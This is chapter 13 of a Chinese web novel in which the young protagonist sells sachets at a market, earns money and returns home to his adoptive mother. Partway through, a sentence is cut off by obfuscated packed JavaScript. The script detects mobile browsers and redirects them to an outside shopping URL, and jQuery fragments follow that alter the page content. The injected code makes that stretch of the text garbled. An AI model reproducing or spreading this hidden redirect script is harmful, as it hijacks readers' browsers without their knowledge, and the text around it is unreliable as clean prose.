13. 013

作品:《迫嫁小哥儿被救后

    心里惦记着事,章小池觉浅,早早便醒了一次,屋里是黑的,窗外也是黑的,不知是什么时辰。章小池抱着被子翻了两圈,闭上眼迷迷糊糊又睡了会儿,再睁眼时天际终于泛白。


    天亮了!


    章小池下床穿衣梳发一气呵成,去院里打水洗漱,随便对付一碗昨晚剩的稀饭,便扛着‘干’字竹架,挎着装香囊的篮子出发。


    夏日清晨的风凉爽,章小池步子轻快,却走得迅疾,平时买菜走一盏茶功夫的,今儿个半盏茶时间就到了。


    三里街人来人往,已经热闹起来,有推着板车的菜贩子,有背着背篓的菜农,皆是行色匆匆往菜市而去。


    章小池已经想好了位置,挨着卖胭脂首饰的几个摊位,喜欢这些东西的人,应该也喜欢香囊,他快步走过去,在拿一排摊位末尾驻足。


    他走得急,冒了不少汗,章小池拿出手帕擦了擦汗,从篮子里取出香囊挂上。


    他自顾自忙活,没注意隔壁摊主看了他好几眼,最后没忍住问:“小哥儿,瞧着你面生,今儿第一次来?”


    章小池抬头,是隔壁卖首饰的夫郞,“对。”


    他瞧着成熟却不显岁数,章小池拿不准喊什么,只好未语人先笑,眼睛弯弯,“哥么好,家里都叫我池哥儿,您也可以这么叫我,初来乍到,哥么多多关照呀。”


    夫郞露出笑来,“你这么面嫩,最大不过十七八岁,该喊我阿叔才对,我姓柳,喊我柳阿叔就好。”


    章小池改口,“柳阿叔好。”


    柳行鹭点点头,心里还高兴着,他都多久没被人叫哥么了?


    两人说着话,手里的活却没停,章小池挂好了香囊,柳行鹭亦摆好了首饰。


    天光大亮,三里街行人渐渐多起来,这个点来的多是妇人和夫郎,采买一天的菜食,购入米面粮油,辛劳为家里操持。


    章小池寻思着,夏日蚊虫多,驱蚊的药香囊属实是家家必备,可以卖给他们。


    然而,他们脚步匆匆,空着菜篮子进入菜市,装满了菜篮子离开菜市,直来直去,不曾有人在他摊子前停留。


    眨眼半个时辰过去,一个香囊也没卖出去,连来问价的人都没有,章小池不由颓丧。


    柳行鹭早习惯了早上不开张,颇为闲适,坐着缠头绳,“池哥儿你别急,再过一个时辰那些爱俏的小姑娘小哥儿出门,咱们这几个摊子东西就好卖了。”


    章小池点点头,缠紧的眉头却没放松,隔了会儿,他忽地一拍脑门,他傻了不成,没人来问价,他可以叫卖啊!卖东西哪有不叫买的!


    香囊卖价昨儿就定好了,章小池张了张嘴,对着往来如织的人流,没能喊出声,喉口发紧。


    他握紧拳头暗暗攒劲,心里默念好几遍,又张开嘴,“卖香囊了,五文一个。”


    声音小了,章小池拔高音量,“卖香囊了,五文一个!”


    他嗓音清亮,穿透嘈杂人声,送入人耳中。


    一个刚经过摊子,扫了眼香囊的妇人折返回来,“你这绣花香囊五文一个?”


    章小池立即道:“对,五文一个。”


    妇人放下装得满满当当的菜篮子,拿起一个绣迎春花的香囊,针脚细密,绣花也好看,在布庄买一个至少得花十文,她瞥向面前的小哥儿,面带怀疑,“真五文一个?”


    “真的,”章小池再一次肯定道,“空香囊五文,这边装驱虫药的药香囊七文,上面新香味的八文。”


    “那么便宜?”妇人惊讶,医馆没绣花的棉布药香囊都得卖八文一个,她拿起药香囊嗅闻,“药材是好药材吧?”


    被怀疑了,章小池也没生气,只是解释道:“婶子,香囊可以打开,你打开瞅瞅,都是在医馆买的好药材。”


    妇人打开看了看,和以前在医馆买的没甚差别,放心了,“你这生意做得实诚,我挑几个。”


    她只觉这个好看,那个也好看,挑得正专注,听到老熟人的声音,“许翠花,在买香囊啊?”


    许翠花扭头一瞧,大嗓门招呼她,“王大妞,来捡便宜,这带绣花的药香囊才七文一个!”


    几个路过的妇人夫郎闻言,慢下步子。


    “真的呀?”王大妞凑上前来。


    许翠花把章小池给她解释那套,搬出来给王大妞解释,最后道:“我还坑你不成?”


    王大妞笑了笑,“还好遇到你了,不然我要去医馆多花冤枉钱。”


    两个人挤在摊前挑选,许翠花挑了五个药香囊,三十五文钱,王大妞挑了三个,二十一文钱。


    五十六个铜板拿在手里沉甸甸的,章小池装入腰间系着的钱袋子里,铜板碰着铜板,叮叮当当响。


    章小池嘴角上扬,他赚钱了,一次赚两笔,赚了五十六文!


    两人一走,便有妇人、夫郎上前。


    “小哥儿,还有并蒂莲的荷包吗?这挂着的没瞧见。”


    “有的,我给你找找。”章小池翻了翻装香囊的篮子,拿出最后两个绣并蒂莲的香囊。


    “这两个我都要了,还有这个绣兰花的。”


    卖出三个,二十一文到手,章小池心底小鹿雀跃,又赚钱了。


    很快,他便没心思再乱想了。


    他的小摊子围满了人,香囊来不及从篮子里拿出来挂着,便已经卖出去了,六十个药香囊售卖一空。没抢着的人,只好退而求其次买贵一文的装有栀子花的药香囊。


    有个妇人闻了闻,“这味道蛮好闻,清清淡淡的,还有点凉。”


    有人附和,“是,中和了药味,药味没那么重了。”


    栀子花药香囊共二十个,空香囊二十个,也很快卖了出去。


    章小池腰间坠着沉甸甸的钱袋子,一时脑子发懵,卖得也太快了,开张到卖完,不足一个时辰吧?


    有没买着的人问他,“小哥儿,明天还卖吗?”


    章小池回神,“卖的,还在这儿卖。”


    “成,明儿给我留五个药香囊,我赶早来。”


    “好。”


    柳行鹭目睹章小池的好生意,心里悔得很,那么便宜的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096590|195638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    香囊,他占了位置优势,怎么就没买上呢?他道:“池哥儿,明儿可得先让我挑。”


    “好。”章小池挎上篮子,掩着钱袋子,又拿起竹架,“柳阿叔,我先回家了。”


    “嗯,路上仔细些。”柳行鹭叮嘱道。


    章小池疾步回溪水巷,远远便见着在巷子口的孙慧芳,只她一人,周婶袁婶们都不在。


    “干娘!”章小池跑向她,兴奋得满脸通红,眸子亮晶晶的。


    “慢些慢些,”孙慧芳微陇的眉头舒展,面上带笑,扶着墙站起来,“生意可好?”


    章小池使劲点头,嘴角止不住的上扬,“干娘,咱们回家说。”


    关上院门,章小池拿出沉甸甸的钱袋子,再也压不住内心的雀跃,神采飞扬,“干娘,一百个香囊全卖完了!”


    “全卖出去了?”孙慧芳惊讶,她是知道池哥儿的定价,寻思着肯定能卖出去,不曾想会卖得如此之快。


    章小池展示空荡荡的篮子,“一个没剩。”


    二十个空香囊一百文,六十个药香囊四百二十文,二十个栀子花药香囊一百六十文,拢共六百八十文。


    章小池和孙慧芳数两百文穿一串,穿了三串,余下八十文零散的。


    看向对方,面上皆是止不住的笑。


    买香囊花了三百文,驱蚊草药三十文,成本是三百三十文,净赚三百五十文。


    章小池琢磨,今儿是他手里的香囊有限,早早就收摊回来了,若是数量再多些,能卖更多,赚更多。


    “干娘,我回来没见着周婶和袁婶,她们不在吗?”章小池问,他想找她们买更多的香囊。


    “她们出去了,寻思着再多问几家收香囊的铺子,看价格能不能高点。”孙慧芳顿了下,“不过你这儿卖得好,也算是解了她们的燃眉之急。”


    周妙秋他们卖香囊不必压价,他们倒手卖出去,还能赚钱,是双赢的事儿。


    章小池道:“若是卖得稳定,她们日后也不愁了。”


    孙慧芳点点头,“但现在咱们量力而行,别买多了压在手里。”


    “嗯,干娘最向着我了。”章小池心里暖呼呼的,被人放心上的感觉真好,什么事儿都提点着惦记着,就怕他吃亏。


    “你是我家小哥儿,不向着你向谁?”孙慧芳睨他一眼,眼尾笑纹透着慈爱。


    章小池盈着笑,“我急着拿钱回来,还没买菜呢,干娘我先去买菜。”


    直奔菜市肉铺,章小池买了两匹排骨,一斤三线肉,若不是家里只有两个人,吃不了太多,章小池还想再多买点。


    黎大哥在就好了,他吃的多。


    来庆州城是五月初五,黎大哥是初六走的,今天是五月廿三,一去十七天,不知何时才能回来。


    他常瞧见干娘走神,眉眼间愁绪萦绕。押镖走南闯北,遇有山匪路霸,是再危险不过的差事,干娘是在记挂、担心黎大哥。


    娘盼儿子平安归来。


    章小池盼黎大哥平安归来,莫叫干娘忧心,盼干娘展笑颜。